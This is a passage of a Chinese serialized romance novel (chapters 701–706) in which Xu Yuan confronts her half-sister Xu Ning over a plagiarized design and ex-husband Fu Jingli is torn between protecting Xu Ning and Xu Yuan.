许宁进了许镇江的房间,许镇江此刻迷迷糊糊的抱着苏青莲的照片,嘴里不停地喊着“青莲,我等你回家……” 张口闭口全是苏青莲,就像是被苏青莲下了蛊。 许宁克制不住自己此刻的脾气,命令佣人将这些照片全都撤下来。 佣人哪里敢,这可是许镇江让挂的,真撤了还不辞退他? “小姐,您就别为难我了,这是许先生让我们挂上去的,还说让我们每天擦拭打扫不许留灰尘呢。” 还要每天打扫?许镇江是真的有病吗! “你不肯撤是不是!好!那我来撤!” 第701章 从哪里拿到杳杳设计图 许宁说着就找了锤子来,这根本不是撤,这是直接砸,砰砰的声音太响,饶是在房间内的许镇江都听到冲出来。 看到许宁砸照片顿时恼了直接冲过去,许宁险些砸到他身上。 “许宁!”许镇江愤怒的将锤子砸到地上,木质的地板都被砸出个坑洞。 许宁被他推得踉跄了下,然后几乎是在咬牙。 “许镇江,你这个疯子!” “滚!你给我滚出去!” 许镇江不听她说话,去捡地上的照片抱在怀里,嘴里还念叨着苏青莲。 见许宁恨恨的盯着墙壁上的照片,许镇江愤怒道:“你别想打这些照片的主意!你以为如果不是因为你是我唯一的女儿我会留下你吗!滚!别想碰青莲!” 许宁觉得太可笑了。 自己的生活好像被许愿和苏青莲彻彻底底的包围了。 她爱着的男人爱着的人是许愿,而她的父亲张口闭口也是许愿的母亲苏青莲。 那她又算什么?笑话吗? 这时的许宁完全忘记了本就是她自己凑上来的,她忘了是她一定要抢许愿的男人所以对准了傅京礼追求傅京礼,她忘了自己抢走了许愿曾经的经历,抢走了她和傅京礼初遇的记忆,甚至逼得许愿和傅京礼离婚。 她忘了,打从一开始许愿就没想过要跟她争,是她一直在步步紧逼。 她现在觉得自己才是唯一的受害者,而许愿才是加害者。 “许镇江,你活的可真像一个笑话。” “你这么爱苏青莲又有什么用?当年如果苏青莲对你有半点情意半点怜悯她就不会那么对你,像是戏耍宠物一样死在你的生日当天给你留下噩梦!” 许宁嘲讽伤人的话根本不加思考,好像就是为了伤到此刻的许镇江。 许镇江死死盯着许宁:“你不懂!这世界上没有人会不爱苏青莲!没有男人在接触她后会不爱她!” 许宁大吼:“可她那样对你!你那么爱她,她还不是故意在你生日当天演戏!如果她没死为什么要你背负骂名!” 许镇江低头看着苏青莲的照片,嗤笑连连。 “她对我已经很好了。” “我算什么东西呢,那时候的苏青莲与我就是云泥之别,哪怕是在路上她可能看都不会看我一眼。” “亏得我生了这张肖想唐清江的脸,她才肯跟我演戏嫁给我。” “她告诉过我她不爱我,她告诉过我她有一天会离开,她可能会伤害我,她提醒过我不要爱上她。” “是我……是我没能控制住,是我违反约定爱上她,是我想跟她发生关系,是我龌龊,我是什么东西怎么能配得上她?” 许镇江说到这里痴痴的笑了两声:“你以为你是怎么来的,是我本想算计苏青莲跟她发生关系被她发现后才找了你的母亲来帮我泄火,因为那一晚才有了你。” “我那么算计她,她就只是让我跟你母亲发生关系而已。” “你说苏青莲对我残忍,残忍吗?她早就说过会做很多事可能会伤到我,在我生日当天自杀这件事她也是早就算好的,因为她有其他的事要做,是我们说好的,我为什么要怪她?” “你说她狠,你知道当初许家的那些财产都是谁留下的吗?是苏青莲留下的,除了给许愿和苏逸那份,剩下的都是给我的。” “当初许家那样辉煌的日子,全都因苏青莲的施舍。” 许镇江在捧苏青莲,在夸苏青莲,他越是这样,许宁就越是心痛。 她觉得自己的一切仿佛都是个笑话。 许镇江却又嫌不够继续说:“她肯定没有死,她肯定知道我对许愿和苏逸做的事,可她没有报复我,这还不够吗?对我还不够好吗?你知不知道那些得罪她的,坟头草都要比你高!” 他是真的疯了痴了,说到这里又开始不停地笑,笑着笑着就开始亲吻苏青莲的照片。 许宁只觉自己身体摇摇欲坠,被打击的根本站不稳。 扶着墙要回房间时又听见许镇江说:“你以后不要再对付许愿了,青莲如果还活着她一定会回来的,你不能再欺负许愿。” 到底是谁欺负谁! 她什么东西能欺负许愿!都是她被许愿欺负! 苏青莲一口气险些被喘上来,被许镇江这话气笑了。 她头也不回的就想上楼,许镇江却又念叨:“下次再敢动青莲的东西你就滚出去!” 许家已经不剩多少东西了,许家的公司现在也已经易主,许镇江手里是还有些钱,却也不多了,而这栋别墅他是绝对不肯卖的。 这可是苏青莲住过的房子,他舍不得。 许宁“哈”了一声,她捂着自己的脸,忍不住低笑,像是在自嘲。 回到房间,许宁已经开始查这次跟奥特斯特比赛相关的新闻,果然出了。 苏衡果然没有管克里斯家族,克里斯蒂娜被骂的狗血临头,多少人都说克里斯蒂娜不配做E国人,都在骂她小偷。 甚至其中还有人看到了她,讨论着她怎么也混在其中,竟然在真的还有人记得她。 许宁只觉头皮发麻浑身发冷,评论区的人不清楚蒂娜,但是却知道她那些底细,现在已经开始复制粘贴辱骂她。 许宁几乎要惨叫出声,下一秒就要将手机砸到墙上。 只要手机坏了就什么都不知道什么都看不到了。 可下一秒手机在手里面响起来。 许宁吓得一哆嗦。 打来电话的竟然是许愿。 许宁又开始慌又开始怕。 这才多久许愿竟然就打电话来了,难道许愿都查清楚了?许愿知道她做的那些事了? 不,不会的,这么短的时间内怎么可能。 许宁吞咽着口水接听,许愿并没有马上开口,似是很轻很轻的笑了一声。 “许宁,克里斯蒂娜是你找的替罪羊吗。” 许宁听到这话脸色发白。 “我不知道你在说什么!”许宁抵死不认。 许愿嘲讽:“设计图虽然不是你本人给的克里斯蒂娜,但是联系克里斯蒂娜并给她设计图的人在几天前收到了一笔海外转账打款,那个账户很眼熟,是你曾经用过的海外账户。” 许宁紧张的想挂断电话,却听许愿下一秒声音肃冷刀:“那么现在,我们应该好好聊一聊,你是从哪里拿到了杳杳的设计图。” 第702章 阿礼哥哥你救救我 听到许愿的问话许宁的手都跟着僵住,她咬牙坚决不认,执拗:“我不知道你是什么意思,我听不懂。” 她是决不能承认的,否则以许愿对她痛恨的程度是绝不会放过她的。 她不能将这个把柄交到许愿手里。 “你在思考怎么欺骗我吗,是打算抵死不认吗。” 许愿声音很轻,明明是这样和风细雨的音调,许宁听着却觉得毛骨悚然,她牙齿都好像在打颤,却还是隐忍着开口:“我不懂你的意思,我什么都不知道,这次有关于奥特斯特抄袭事件分明就是克里斯蒂娜自己看不上陆杳杳所以在针对陆杳杳!跟我有什么关系,你不能因为你厌恶我就将所有的脏水都泼到我身上!” 许宁说着说着竟然愈发理直气壮觉得自己没有错,错的是一直在逼迫自己的许愿。 “你在撒谎,我听得出来。” 许愿轻笑。 “许宁,你知道你在撒谎的时候会发狂吗,会故意大声,好像越大声就越能表示你不心虚似的,实则是掩耳盗铃。” “你的每一句话都是谎言。” “至少你根本无法证明你是如何参加了这场比赛甚至直接到决赛不是吗。” 许愿说这话时就差轻嘲一句,就你也配进入奥特斯特设计赛的决赛。 “我不知道你在说什么!” 许宁更大声。 “你真的要逼我去见你?”许愿声音冷下来。 “你别来!你别来!我不想见你!” 许宁大喊大叫,觉得手机烫手,好像拿在手中的根本不是手机而是什么催命符。 她根本不敢再跟许愿说更多,慌乱之中已经挂断电话,她心跳加速,几乎要跳到嗓子眼,许宁内心惴惴不安,被吓得整个人缩在角落里,几乎要整个人躲起来,草木皆兵,仿佛有风吹过都可能是许愿来报复。 怎么办? 怎么办! 她对上许愿还能怎么办?许愿身后跟着的人就不是她能应付的,如果真的被许愿带走她还有什么以后,一直以来的美梦也会因此而彻底破碎。 不行,不可以,这不是她要的! 这次的事情搞砸了,傅长海不会管她的,如果去联系傅守越,傅守越会管她吗?她不听指挥私下做了这种事情傅守越怎么可能管她! 还有谁……傅京礼,只有傅京礼能救她了! 许宁颤巍巍的打给傅京礼,许久后才有人接通电话,男人似乎才出会议室,嗓音带着点沉冷的哑意。 “什么事。” 听到傅京礼的声音许宁就想哭。 “阿礼哥哥你救救我,只有你能救我了!许愿她在诬陷我,她要害我!” “我真的不知道自己又做错了什么,我只是参加了一场设计比赛被许愿看到她就要对付我,阿礼你帮帮我……” 她带着哭腔一,闷头将脏水全都泼到了许愿身上,好像一切都是许愿在无理取闹一样,而她才是其中最无辜的人,何其可笑。 分明是她的错,她却不敢说出事实真相,她怕傅京礼会追究,甚至怕他知道真相,怕他知道自己跟傅长海联手,以后再也不管自己。 对面沉默片刻。 “你真的不知道吗。”他语气平淡中夹杂着凉意,显然对许宁已经没有了最基本的信任。 “我不知道……我真的不知道!我已经在躲着许愿了,我怎么敢再招惹她!” 这话其实算不得骗人,她确实是在躲着许愿,她这次针对的纯纯是陆杳杳。 偏偏陆杳杳是陆斯年的妹妹,更被许愿看作是妹妹,所以又算是得罪了许愿,事情再度闹大。 傅京礼许久未言语,这样长久的沉默让许宁内心发寒的开始慌。 “阿礼,你难道忘记了吗!当初是我救的你,如果不是我你早就死在那场绑架案中了!你要救我,你必须救我!” 她再度提到那场绑架案,道德绑架傅京礼。 好像救过他一次,傅京礼这辈子都要捧着她护着她才对。 恩情被一次次利用,早就淡泊如水了。 察觉到傅京礼还是没有什么反应,许宁咬牙:“许愿会来见我,她马上就来许家逼我认错,阿礼,除了你没人能帮我了!” 她已经慌了头了,她是真的担心傅京礼这次不肯管自己。 所以她才开头提到许愿。 她太清楚许愿对傅京礼有多重要,只要有许愿,傅京礼是一定会来的,他就是那么爱许愿,爱到骨子里疼到骨子里。 许宁暗自咬牙,内心却在痛苦流泪。 “我知道了。”傅京礼的呼吸明显在许宁提及许愿的时候有些急促,话落便挂断电话。 许宁抱着自己的手机就开始笑,笑着笑着就哭了。 瞧瞧,瞧瞧啊。 当初傅京礼那么喜欢她,为了她不惜跟许愿离婚,可她到底是怎么作到这一步的,她明明可以成为傅家少夫人的,最终却输得彻底,把一切都输掉了。 现在甚至需要人来救的时候还要用许愿来做饵钓自己最爱的男人。 她现在彻底的活成了笑话呢。 因为许宁提及许愿,傅京礼将工作安排吩咐给秘书就打算离开,容浔远远看到不用问就知道肯定是跟许宁或者许愿相关。 这些天傅京礼只有听到许愿相关的才会如此激动。 容浔眸光跟着暗了几分,傅京礼如果是去见许宁他必定是要跟去的,否则他真的怕许愿做出什么伤害傅京礼的事情。 容浔直接打开车门坐到副驾驶座上,傅京礼看他一眼:“你怎么也跟上来了。” 容浔笑眯眯的:“我怎么能不跟上来,是去见许愿?” 傅京礼垂眸:“是许宁。” 容浔脸上的笑意都僵了下,似是有些不敢置信。 “你为了许宁推掉接下来的工作?” “许宁说遇到了些麻烦,跟许愿有关。” 傅京礼这样说容浔算是有些听明白了。 说什么许宁遇到麻烦去见许宁,其实护着许宁是一回事,更多的是傅京礼单纯想见许愿。 容浔像是有些头疼的捏了捏眉心:“算了,先看看到底因为什么事吧。” 话是这么说,但容浔总有种不祥的预感。 第703章 不要想着撒谎推卸责任 容浔太清楚了,几乎是每一次许宁都会闹出点事端,要说这次的事是小事那容浔是绝不会相信的。 想到最近奥特斯特设计赛在A市举办,而许宁恰好又是设计系就是眉心一跳。 总不能是跟这次奥特斯特设计比赛有关系吧,许宁就是胆子再大也不该大到这种地步吧…… 心里这么想着,但容浔心里也是有点慌的。 直觉告诉他事情不会太简单的。 这个时间路上并不算太堵,但还是费了点时间的。 许宁一直算着时间,觉得他们快到的时候人已经坐到了大厅的沙发上,整个人又是害怕又是期待的等着傅京礼。 听到院外佣人笑呵呵的将人请进来,许宁忍不住探头往外看,结果透过窗竟然对上容浔那温润的眼神,明明是那样温柔的眼神,许宁就是觉得可怕。 为什么容浔也会来。 许宁内心一梗。 她还没忘记容浔对她的那些侮辱,容浔一直都瞧不起她,甚至觉得傅氏铁三角是因为她才分开,她就是容浔眼中的罪魁祸首。 见来人是傅京礼和容浔,佣人一改先前的懒散,迎着人进门,又是泡茶又是准备点心格外殷勤,直到许宁让人出去才心不甘情不愿的转身离开。 许宁见到容浔就有些束手束脚,好半晌不敢开口,缓了片刻才撩起眼皮,见容浔并未看着自己才打算去求傅京礼。 结果刚要开口,容浔便已经将茶杯撂到桌上淡淡道:“许家的确是不行了,这茶叶也不知道是网上哪个小店铺买来的,一股子廉价的味道。” 说的是茶叶,又何尝不是在内涵许宁廉价。 许宁抿唇,抬眸,容浔正看过来,紧跟着嗤笑几声:“你特地请了阿礼来,总要说清楚你又干了什么了不得的蠢事,这才又惹了许愿。” “不要想着撒谎推卸责任,我们比你更了解许愿,如果你什么都没做,她也没有那个精力将目光放到你身上,毕竟你还不配让她入眼。” 果然是容浔,张口就是侮辱性十足的话,完全不给许宁一点面子。 许宁心道,就容浔这样的攻击力,怕是上下嘴唇一碰他自己都要被毒死的。 许宁咬着下唇盯着他看了两秒这才泪眼婆娑的望着傅京礼,似乎想让傅京礼为自己说句话,可显然,傅京礼没有任何反应,对容浔的侮辱视而不见。 是啊,傅京礼早就对她没有感情了,他心里只有许愿……只有许愿! 许宁目光怨怼,却还是强撑着收敛了眼中的恨意,缓了片刻才开口。 “这次奥特斯特设计比赛我也去参加了,在决赛的时候克里斯蒂娜抄袭了陆杳杳的设计图,这件事情闹大了,许愿看到我在现场,执意要说这件事是我做的,我真的冤枉……我只是去参加比赛,哪敢动什么手脚。” 说着,许宁自己就已经委屈上了。 这谎话大概也只有她自己才会相信。 傅京礼还没开口,容浔却是将茶杯中已经快冷掉的茶水泼到地上 。 “许宁,你是真有种。” “竟然敢同时算计这么多人,怎么不想想自己有没有这个智商!” 容浔被她蠢到都想要将手中的茶杯砸到她头上。 许宁那话简直是漏洞百出,竟然还用这么愚蠢的话术来骗容浔和傅京礼,简直可笑。 “克里斯蒂娜是个什么人我能不清楚?傅氏曾经跟克里斯家族有过合作,克里斯蒂娜就是再嚣张跋扈也不敢做出抄袭的勾当,没有人在她身边说了什么那是绝不可能的。” “而陆杳杳呢?陆杳杳是陆斯年的妹妹,又算是许愿的妹妹,E国苏衡喜欢陆杳杳,所以陆杳杳算是克里斯蒂娜的眼中钉。” “你呢?你恨许愿所以对陆杳杳也是恨之入骨,知道克里斯蒂娜同样恨陆杳杳后就打算借刀杀人,利用蒂娜伤害陆杳杳,而你作壁上观。” “你把我们和许愿当蠢货?难道真以为我们看不出你的伪装?” “许愿能看出来会怀疑你最大的原因是你根本走不到奥特斯特的决赛,你走不到最后一关就会被淘汰,而你买进决赛是为了什么?你敢说跟陆杳杳无关?” “许宁你敢说吗?” 容浔字字珠玑。 许宁满头冷汗,她几乎快要坐不住,想要逃跑。 容浔看到许宁这副窝囊的样子就觉得恶心,偏头看向傅京礼问道:“她做了这种恶心的事你还要管她?” 傅京礼喝了口冷掉茶水,却没有开口回应。 可容浔太了解他,不回应不回答,可能就是默认要插手跟许宁相关的事了。 容浔想让傅京礼理智一些,所以继续开口。 “阿礼你也是了解许愿的,许愿最近可没有理过许宁,随便她在哪里疯,她如果真想针对许宁,许宁早进去了。” “这次是许宁自己作的,如果你还打算帮她……” 话还未说完,听到门被推开的声音,傅京礼顿时整个人僵住,朝门口瞥了一眼,门关着的,那就不是许愿。 他眼神再度黯淡下来,却见许镇江已经笑呵呵的从房间里出来了。 看到傅京礼和容浔更是乐淘淘的凑上来赔笑脸,压根不知道许宁又背着他干了什么了不得的大事。 许镇江还特别淡定的让佣人又泡了新茶,特地让人准备最新鲜的茶点,他似乎是觉得傅京礼和许宁还有可能一样,笑呵呵的,整个人看着都显得有点慈祥。 怪不得许宁能愚蠢到这般,能做出这种蠢事,原是都遗传了许镇江。 就许宁做的那些烂事儿,现在名声都已经烂大街了,傅京礼怎么可能娶她!不说傅京礼,就是A市的小家族都没人看得上许宁! 容浔看到他这副蠢笨模样就来气,正要嘲几句,将他和许宁一起骂进去,却再一次听到门被推开的声音,容浔本要骂人的,却也没再骂了。 …… 许愿被许宁挂断电话时眼底弥漫的尽是凉意,实验也做不下去了,心里一团乱麻根本静不下心来,数据也算错了两组,惹得一旁的段星河频频看她。 “总是心不在焉的,还在因为陆杳杳那事儿生气?” 第704章 傅京礼是她曾经最爱的男人 段星河放下电笔,单手撑着下巴开口询问。 “不至于,真不至于,那事儿不是都解决了?克里斯蒂娜也算是自食恶果了,盛华都拒绝跟克里斯家族合作了你还着什么急?” “我烦的是许宁。” 许愿抿唇:“我本不想花费时间在她身上,但她一次又一次的触及我的底线,这次甚至打算设计陆杳杳。” “我去一趟许家,这件事没完。” 许愿放下自己算到一般的数据资料,段星河也没拦她。 拦她也没用啊,留下来继续算数据也是错的,还不如让许愿去好好解决了这件事再回来好好做研究来得快。 不过等许愿走了后段星河还是给盛景炎发了条信息告诉她许愿去了许家,让他注意些。 许愿到许家时一眼就看到了许家院内那辆熟悉的车。 是傅京礼的车。 没想到傅京礼也会来。 许愿目光在那辆车上也只停留一瞬。 也是,许宁现在也只能靠着傅京礼了,毕竟没有别人肯帮她的。 佣人看到她都有些惊慌失措的打算藏起来,许愿也没理那群曾经看菜下碟的人,迈上台阶推开门,便已经听到许镇江勉强带笑的声音,像是在跟人交谈。 能跟谁交谈? 也就是傅京礼来了许镇江才这样谄媚。 许愿推门的声音不算大,但傅京礼还是第一时间听到了,瞬间抬起头朝门口看去。 自从跟傅京礼离婚后许愿就很少穿黑色灰色的衣服了,她永远都是穿着靓丽的颜色,却永远不会被那样鲜亮的颜色艳压。 她在实验室的时候自然是穿着白大褂的,只是离开前脱掉了外套,里面就是一件略有些单薄的红色长裙。 现在已经是四月了,天气回暖,这样鲜亮的红色穿在她身上,衬得她整个人好像在发光。 裙子是贴身款的,那样纤瘦细嫩的腰肢。 傅京礼甚至能想到与她亲密时抚摸时的触感,柔软却细腻的肌肤…… 傅京礼的目光一直落在她身上未曾移开,漆黑的瞳眸带着些许热烈。 容浔也被她此刻惊住了,但不过片刻便缓过神来。 唯有许宁内心暗恨许愿是个狐狸精,这种事后都要打扮的跟个妖精似的!恶心的东西! 许宁恶狠狠的瞪着许愿。 许愿却只是将一头长发高高盘起,如此松散随意的将头发盘起,路出白皙修长的颈。 却也让人看到她锁骨处留有的亲吻的痕迹,是男人留下的。 更确切的说是盛景炎留下的,亲在这种地方,当真是占有欲十足,而许愿也由着他。 傅京礼不由得握紧拳,死死的盯着她脖子上的痕迹,那双本来还算淡然冷漠的眼眸此刻遍布红丝。 许愿却是淡淡的,在看到傅京礼的时候眸光是很明显的变冷了。 她也只是瞥了男人一眼,待看到傅京礼身旁的容浔后内心忍不住嗤笑。 果然,容浔真是永远害怕傅京礼出事,永远跟在他身边,真是绝对的利傅京礼主义者。 但她并没有心思理会两人,也不想知道两人是不是真的为了许宁来的。 许愿一步步逼近许宁,她还没有开口逼问,傅京礼就已经开口了。 “阿愿。” 阿愿? 许愿觉得太讽刺了。 曾经跟他是夫妻的时候傅京礼都没有喊过她阿愿,现在已经离婚了而她也有了爱人却来喊她阿愿? 他配吗? “别这么喊我,傅总可以称呼我许小姐,也可以称呼我许总,但希望傅总知道我们的关系还不足以让你称呼我为阿愿。” 她的话说的这样直接,竟是完全没有给傅京礼任何面子。 就这样将一切都戳破。 傅京礼痛苦的看着她:“阿愿,你一定要这样吗。” 许愿眼神一厉:“够了!我们之间还没有到这一步,傅总还是小心说话,我可不想我们之间还传出什么不得体的绯闻。” 说到这里,她像是嘲讽的笑了下 :“我可不希望阿炎因为这种可笑的绯闻而生气。” 她像是故意这样开口。 容浔眼神一暗,他何尝看不出许愿对傅京礼的厌恶和恨意,她当然知道许愿是故意的,就是想要伤害傅京礼。 容浔在许愿说出更多伤人的话前先许愿一步开口:“许总不妨说说你来许家的原因……或者目的?这应该才是重点不是吗。” 许愿哪里听不出来容浔是为了护着傅京礼。 “你们来了这么久了难道不知道我为什么来找许宁?装什么都不知道就太虚伪了。” 许愿直言直语,完全没给他们面子。 容浔沉默,许宁泪眼汪汪的看向傅京礼,许愿也在盯着他。 傅京礼算是许宁最后的救命稻草,她想知道这稻草到底还能不能继续救许宁。 “许愿,你不能动她。” 他还是这样开口了。 傅京礼甚至站起身一步一步走到她面前。 “你想要的我都可以给你,傅氏的东西你看得上的都可以拿走,你想要的合同也可以取走,但是你不能动许宁。” 容浔都惊了,许镇江还是状况外,完全不知道发生了什么事,怎么就要动许宁了。 许愿看着面前为了许宁站出来的男人,只觉得自己此时眼眶酸涩,甚至有了泪意。 傅京礼是她曾经最爱最爱的男人。 她爱他的骨子里的清冷,也爱他冰冷面具下的温柔,可结婚后才知道他的确清冷也的确温柔,只是清冷是对她温柔是对许宁。 离婚后许宁一次次挑衅一次次陷害,傅京礼却执意要护着许宁。 这么久了,还是如此。 他可真在乎许宁啊。 许愿就这样看着他,倏地笑了。 她笑的那样明艳动人,却又不掺杂任何情意。 “如果我说我要动傅长海呢?我要傅长海做过的事偿命呢?你觉得怎么样?” 她是知道傅京礼软肋的。 傅京礼在意许宁,却又在意亲情,傅长海是个烂人傅京礼或许早就知道,可他知道却也因为那点亲情继续维护这个烂人。 可笑,可悲。 她现在真的很想知道,在面对许宁和傅长海的时候,他会选择谁又会放弃谁。 “傅京礼,你选许宁还是选择傅长海呢。” 许愿明明是在笑着的,却让许宁不寒而栗,浑身发冷。 第705章 傅京礼,你懂什么是爱吗 选许宁还是傅长海? 傅京礼要如何做决定? 许愿就这样脸上带着冷淡的笑意看着傅京礼,残忍又冰冷。 傅京礼印象中的许愿是什么样的?在她面前的许愿永远都是温婉的优雅的,她一直都是体贴的,她会永远温柔拥有者强大的内核。 可直到离婚傅京礼才真正明白许愿的性格并非如此,她的确是温柔的,但她的温柔是针对于她的为人处世上。 有一句话是怎么说的,当爱一个人的时候会将自己最好的最完美的一面展露在对方面前,爱多久可能就能伪装多久。 她太爱傅京礼,所以竟是结婚三年便伪装了三年。 或者说,许愿其实一直都未曾伪装,是傅京礼不在意不关注,所以才认为许愿是那样温婉大方的性子。 他只有在两人离婚后,看到许愿和盛景炎之间是如何相处才终于明白原来许愿是会那样开朗的笑,是会对着爱人撒娇的。 可他们的婚姻中,许愿总是表现的像是一个完美的妻子,从未对他那般。 事实上,许愿的那些温柔体贴是对爱人的,而对盛景炎那般毫不客气,也是她非常清楚盛景炎给予了她足够多的爱意,给足了她安全感。 他知道许愿因为傅京礼所以没有那样完全的纯粹的相信爱情,所以他给出自己的保障,房产,私有资产甚至是股票全都给她。 口头上的承诺,口头上的爱意都显得太过薄弱且不堪一击。 他知道许愿没有安全感,对一切产生怀疑,所以他愿意用他所拥有的一切来表明他的爱意。 爱是无价的,可能低廉可能价值千金。 一个男人可以对很多女性表达爱意,他一生中可能遇到很多人青睐很多人,对这种人爱意甚是廉价。 盛景炎想到的当然也是这个,他太清楚自己风评不好,纵然当初是在作秀演戏,但坏名声已经传出去。 他愿意用金钱用资产来堆砌自己对许愿的爱。 他当然知道因为他搞得这一出有多少男性嘲讽他骂他纯骂他傻,骂他掀了那些只会说爱不肯给予任何资产金钱的男性的保护伞。 可就是因为这些,许愿才能够完完全全在他毫无保留的爱意中摘下自己一直以来伪装的面具,然后做自己。 许愿这些年有多不容易呢? 幼年为了能博一个未来,她一直都在看书学习,旁人玩耍的时候她在学习,旁人旅游的时候她在学习,她的智商摆在那里,又百分之百的认真,也让她同龄人早熟。 她这般就是因为身边没有后盾。 那时候许镇江偏心许宁只在意许宁,不苛待许愿只是因为许愿有一张漂亮脸蛋,且许愿长得实在想苏青莲,所以他不忍太苛待。 除了许镇江许愿身边还有谁呢?有陆斯年,可那时候陆家出事陆家人也搬离,她身边还有温栩栩,温栩栩却还要靠她照顾。 没有依靠没有后盾才让她练就了强大的内心,也习惯了有事奔在前方,也习惯了情绪稳定,因此掩藏了自己本来的性格。 但有了盛景炎一切就不一样了。 那是爱人,是可以把她捧在手心跟她过一辈子的爱人,更是她的退路。 所以许愿在盛景炎面前肆无忌惮,她可以任性、可以撒娇、可以作、因为她知道怎样盛景炎都是爱她的。 因为盛景炎,她才变成了现在这个许愿。 爱憎分明、明艳大方却又睚眦必报性格鲜明的许愿。 这是傅京礼从未见过的却也为之深深眷恋的许愿。 傅京礼看着面前的许愿,只觉此刻喉间发堵。 他很想说我谁都不想选,我想选你,可这话他说不出来,也不能说。 他当然知道傅长海是个烂人,可再烂也是参与他童年让他曾经看做父亲的大伯,他在意亲情所以会守好傅长海。 他更知道许宁虚伪狡诈阴险却又愚蠢,可他放不开放不下。 这些天他闭上眼睛就在一直做噩梦,他梦到和许愿离婚,梦到许愿一遍又一遍的将那件衣裙剪碎然后丢到窗外,就像是完全的斩断了两人的情缘。 他数次被噩梦惊醒,可再度睡去却又会梦到少年时期那场绑架案,梦到少女笑吟吟的像是藏着暖阳的脸庞,是“许宁”曾经救过他的那些过往。 一遍遍梦到,却也越来越慌。 他知道自己已经有了放弃许宁的念头,可那个梦却越来越清晰,好像在职责他要放弃许宁。 他能如何做?真的忘恩负义完全不顾许宁吗? 有一句话许宁说的是对的,没有“她”,当年他是活不下来的。 所以清醒后的傅京礼还是知道自己不爱许宁,却不能不护着许宁,他和许宁之间的恩怨是无法斩断的。 傅京礼声音中糅杂着痛苦,他的目光重新落到许愿的身上,嗓音沙哑干涩:“许愿,她们我一个都不能放弃。” 许愿等了许久,傅京礼终于开口了,可说出的话许愿猜对了,他不愿意放弃任何一个。 许宁的眼睛立刻亮了,她望着傅京礼,眼底都多出几分喜意。 在许宁心里只要傅京礼开这个口,那许愿就拿自己没办法,可看到傅京礼看向许愿那般痛苦的眼神许宁感受到心底传来的剧烈的痛意。 许愿很轻很轻的笑了。 从傅京礼开口说两个都不可以放弃的时候房间内就一片寂静,她那样轻的笑声却显得有些突兀。 “傅京礼,这么多天过去你真的一点都没有变。” 她这样平静的说出这句话,却让傅京礼觉得壁做噩梦更恐怖,他知道,许愿这样短短几句话就会变成他新的噩梦。 傅京礼哑着嗓子,几乎是用尽自己的力气方才继续开口:“许愿,我是真的爱你。” 明明在维护许宁和傅长海,又一次拒绝了她,却又在下一秒对她说是真的爱她。 许愿又开始笑了,她的笑带着嘲意,像是在自嘲又像是在嘲讽傅京礼。 “爱?” “傅京礼,你这样的人真的懂什么是爱吗?” 第706章 带着你的爱滚得越远越好 “你以为的爱是什么?是愚蠢的自私,是被压在亲情和私欲后的微不足道的……可以被你随意舍去的不会对你人生产生任何影响的无用的东西。” “这是你的爱。” 她就是这样看傅京礼的。 因为傅京礼带给他的“爱”就是这样。 爱是什么意思?字典里面如何解释,人生看客如何定义最终都要看个人。 许愿知道自己太看重所谓的情爱,她原来唾弃自己觉得自己是个蠢货,可后来才知道是遗传了苏青莲的恋爱脑。 其实她不后悔遇到傅京礼,因为有了傅京礼后她才有契机遇到盛景炎。 她和盛景炎在意的爱是一样的,就是接受了盛景炎毫无保留的爱所以更觉得傅京礼此刻在做出选择后对他提及爱更觉得讽刺。 “傅京礼,你就该带着你所谓的分文不值的爱滚得越远越好。” 许愿眸中溢满冷意:“知道吗,从你口中提及爱,我会觉得辱没了这个字。” 明明将一切都压在其上,却又开口提到爱,配吗? 她开口的话犀利无情,容浔脸色顿变,许愿却看向许宁嗤笑一声:“傅京礼,你想护着许宁也要先看看你是不是真的能护得住。” “你护着许宁这么多次,每一次你都出面都是为了许宁,我没有给过你和许宁机会吗?你以为我真的有时间理会她?我忙到没有时间去想许家更没有时间去想许宁,可偏偏许宁就是要一次又一次的凑到我面前……” “我是多可笑多善良的人吗?我从来不是!” 许镇江听到这里整个人还云里雾里,虽然不清楚许宁做了什么但是猜到许宁又触及许愿的底线,此刻脸色发青完全不问缘由一耳光狠狠甩到许宁脸上。 “你又干了什么!你说你又对阿愿做了什么!” 许宁的脸被打的一歪。 她捂着自己的脸,半边脸红肿,嘴巴里尝到血腥味儿,唇角也溢出了点点血丝。 在傅京礼面前出丑,许宁只觉浑身发冷,她抿唇死死盯着许镇江,却又在下一秒觉得自己实在悲哀可怜。 自己爱的人不爱自己,自己的父亲也不将自己当做女儿,自己的母亲也因为之前的算计对她恨之入骨。 怎么就把自己的生活过得一团糟。 许宁被打是内心嫉恨,许镇江看他露出这样的眼神先是一怵然后再度扬起自己的手:“许宁!我不管你做了什么你现在必须对阿愿道歉!阿愿本就不打算跟你多计较,你为什么就是不能低头!” 许镇江又是一耳光甩到许宁脸上。 他打的狠,手上的力道十成十的。 许宁被打的踉跄,整个人茫然的栽倒在地上,却没有人拦也没有人扶。 傅京礼默然的看着,许镇江愤怒的指着她逼她道歉,容浔坐在沙发上面色淡然的喝着重新沏好的热茶,看着一幕宛若看笑话。 许愿眼眸中没有半分异色,她就这样观望着眼前的闹剧。 “许镇江,闹够了吗。” “你再装再演也没用的,不管许宁是否道歉我都绝不会轻拿轻放,许宁必须要为她自己做出的事付出代价。” 许镇江的手都在颤抖,他当然知道自己刚才用了多大的力气,大到此刻掌心发麻。 他真是想教训许宁吗? 不,他是想在许愿发难前当着许愿的面教训许宁,他希望许愿能够看在自己教训了许宁的份儿上轻拿轻放。 所以许愿说他在装在演,只可以演技拙劣,被她一眼就看出来。 许镇江几乎老泪纵横的指着许宁:“你到底做了什么!你快说啊!” 他什么都不知道,要怎么护许宁? 容浔见此慢条斯理的将许宁做的事情一五一十的说出来,他实在想看看许镇江究竟还能做出点什么来。 许镇江知道了前因后果顿时觉得自己的腿都有些软了。 竟然碰了陆杳杳。 许镇江现在也已经算是了解许愿了,他深知如果但只是对许愿做了什么她或许不会如此气愤,比起她自己,许愿更在意她身边的人。 他当然知道许愿跟陆斯年的关系有多好,他知道许愿是将陆杳杳看做是妹妹的,更不要说现在许愿所在的盛世跟盛华有合作。 就算不提许愿,陆杳杳是陆斯年的妹妹,这一点就足以搞死许宁。 且……不提许愿不提陆斯年,可苏衡呢?苏衡肯放过许宁吗? 苏衡的身份不同,他是E国政界高层,陆杳杳是苏衡喜欢的人,如果这件事上升到国事呢? 许宁怎么敢捅这么大的篓子,她真的分得出轻重吗! 许镇江清楚如果想保住许宁他只能低下头去求许愿,只要许愿开口,或许就是苏衡都要给她个面子的。 许镇江只能隐下对许宁的怒意对上许愿,语气里面带着恳求。 